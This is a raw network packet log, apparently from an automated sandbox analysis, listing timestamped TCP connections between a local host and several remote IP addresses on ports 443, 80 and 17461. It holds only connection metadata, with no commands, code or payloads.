Oct 24, 2024 08:50:24.115797043 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:24.120965004 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.121134043 CEST	80	49755	185.27.134.114	192.168.2.4
Oct 24, 2024 08:50:24.121191025 CEST	49755	80	192.168.2.4	185.27.134.114
Oct 24, 2024 08:50:24.354370117 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.357104063 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.357170105 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.358741045 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.358808994 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.359950066 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.360080957 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.360100031 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.360874891 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.361037016 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.361063004 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.362725973 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.362787962 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.363555908 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.363642931 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.403100014 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.403173923 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.403860092 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.403886080 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.450023890 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.450037956 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.719413042 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719489098 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719512939 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719531059 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719568014 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719579935 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.719589949 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719651937 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.719692945 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.719693899 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.719693899 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.720366001 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.720410109 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.720446110 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.720462084 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.720489025 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.720509052 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.762403965 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.807327032 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.836144924 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.836208105 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.836246014 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.836244106 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.836275101 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.836292028 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.836311102 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.836324930 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.837713957 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.837743998 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.837774038 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.837788105 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.837816954 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.837832928 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.838951111 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.838973045 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.839011908 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.839021921 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.839073896 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.839073896 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.878114939 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.878149986 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.878235102 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.878253937 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.878295898 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.953645945 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.953716040 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.953785896 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.953807116 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.953854084 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.955024958 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955099106 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.955110073 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955147028 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955163956 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955173016 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.955218077 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.955225945 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955810070 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:24.955888987 CEST	443	49756	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:24.955949068 CEST	49756	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:25.000916004 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:25.001761913 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:25.001863956 CEST	443	49757	91.208.207.216	192.168.2.4
Oct 24, 2024 08:50:25.001939058 CEST	49757	443	192.168.2.4	91.208.207.216
Oct 24, 2024 08:50:26.216227055 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:26.216320992 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:26.216419935 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:26.216640949 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:26.216676950 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:26.510672092 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:26.510771990 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:26.510864019 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:26.511043072 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:26.511080027 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:26.647514105 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:26.653064013 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:26.653281927 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:26.653522968 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:26.659897089 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.047220945 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.050659895 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.050688028 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.051748037 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.051826000 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.052798033 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.052850962 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.052966118 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.052973986 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.106591940 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.211029053 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.211174011 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.211278915 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.212176085 CEST	49761	443	192.168.2.4	34.228.248.173
Oct 24, 2024 08:50:27.212222099 CEST	443	49761	34.228.248.173	192.168.2.4
Oct 24, 2024 08:50:27.223896980 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:27.223973036 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:27.224042892 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:27.224287033 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:27.224318027 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:27.366148949 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:27.366449118 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:27.366518974 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:27.367435932 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:27.367522955 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:27.368494034 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:27.368562937 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:27.417268991 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:27.417306900 CEST	443	49762	216.58.206.68	192.168.2.4
Oct 24, 2024 08:50:27.463462114 CEST	49762	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:50:27.535229921 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.535362959 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.535397053 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.535449028 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.535460949 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:27.535501957 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:27.537456989 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:27.537669897 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:27.543015957 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.543085098 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.819639921 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.820358992 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:27.820543051 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:28.052905083 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.053354979 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.053395033 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.054864883 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.054995060 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.055290937 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.055402994 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.055433035 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.099339008 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.106009960 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.106040001 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.153734922 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.215989113 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.216123104 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:28.216204882 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.217272997 CEST	49764	443	192.168.2.4	44.196.139.143
Oct 24, 2024 08:50:28.217322111 CEST	443	49764	44.196.139.143	192.168.2.4
Oct 24, 2024 08:50:29.247734070 CEST	17461	49763	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:29.289407969 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:29.289463043 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:29.289539099 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:29.289769888 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:29.289803028 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:29.293092012 CEST	49763	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:29.376430035 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.376502991 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.376590014 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.376864910 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.376895905 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.376962900 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.377094984 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.377126932 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.377218008 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.377232075 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.545710087 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:29.551546097 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:29.551732063 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:29.552010059 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:50:29.557455063 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:29.980540991 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.981178999 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.981240034 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.982829094 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.982930899 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.983964920 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.984101057 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:29.984144926 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:29.985665083 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.985891104 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.985905886 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.986948013 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.987013102 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.987835884 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.987915039 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:29.987983942 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:29.987993002 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.027354002 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.028031111 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.028031111 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.028060913 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.075321913 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.125684023 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.125825882 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.125937939 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126024008 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126106977 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.126111031 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126106977 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.126141071 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126185894 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.126193047 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126317978 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.126368046 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.126374006 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.130698919 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.130780935 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.130785942 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.150147915 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.150500059 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.150552034 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.152004957 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.152132988 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.153462887 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.153549910 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.153666019 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.153681040 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.170809031 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.191701889 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.191803932 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.191845894 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.191879034 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.191941977 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.191970110 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.192008018 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.192039013 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.192898035 CEST	49768	443	192.168.2.4	185.199.109.133
Oct 24, 2024 08:50:30.192931890 CEST	443	49768	185.199.109.133	192.168.2.4
Oct 24, 2024 08:50:30.198708057 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.241947889 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242032051 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242152929 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.242208004 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242561102 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242624044 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242654085 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.242666006 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.242712975 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.242830038 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.243273020 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.243396997 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.243422031 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.243540049 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.243593931 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.243601084 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.244173050 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.244205952 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.244251966 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.244257927 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.244307995 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.244437933 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.245055914 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.245107889 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.245110035 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.245131016 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.245163918 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.245328903 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.294874907 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.294899940 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.340851068 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.358932018 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359013081 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359086990 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359088898 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.359122992 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359169006 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.359174967 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359297037 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359335899 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.359340906 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359750032 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.359795094 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.359802008 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.360018015 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.360070944 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.360076904 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.360832930 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.360894918 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.360907078 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.360949993 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.361392021 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.361447096 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.361455917 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.361496925 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.361694098 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.361752987 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.362426043 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.362493992 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.362694979 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.362746000 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.363662958 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.363722086 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.364263058 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.364324093 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.364553928 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.364603043 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.365297079 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.365374088 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.365499973 CEST	443	49767	104.17.24.14	192.168.2.4
Oct 24, 2024 08:50:30.365545034 CEST	49767	443	192.168.2.4	104.17.24.14
Oct 24, 2024 08:50:30.400213003 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.400242090 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.400317907 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.400330067 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.400368929 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.401094913 CEST	49765	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.401122093 CEST	443	49765	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.414132118 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.414186954 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.414273024 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.414480925 CEST	49770	443	192.168.2.4	212.42.75.253
Oct 24, 2024 08:50:30.414491892 CEST	443	49770	212.42.75.253	192.168.2.4
Oct 24, 2024 08:50:30.416933060 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.416996002 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.417006016 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:50:30.417042017 CEST	49769	17461	192.168.2.4	3.67.15.169
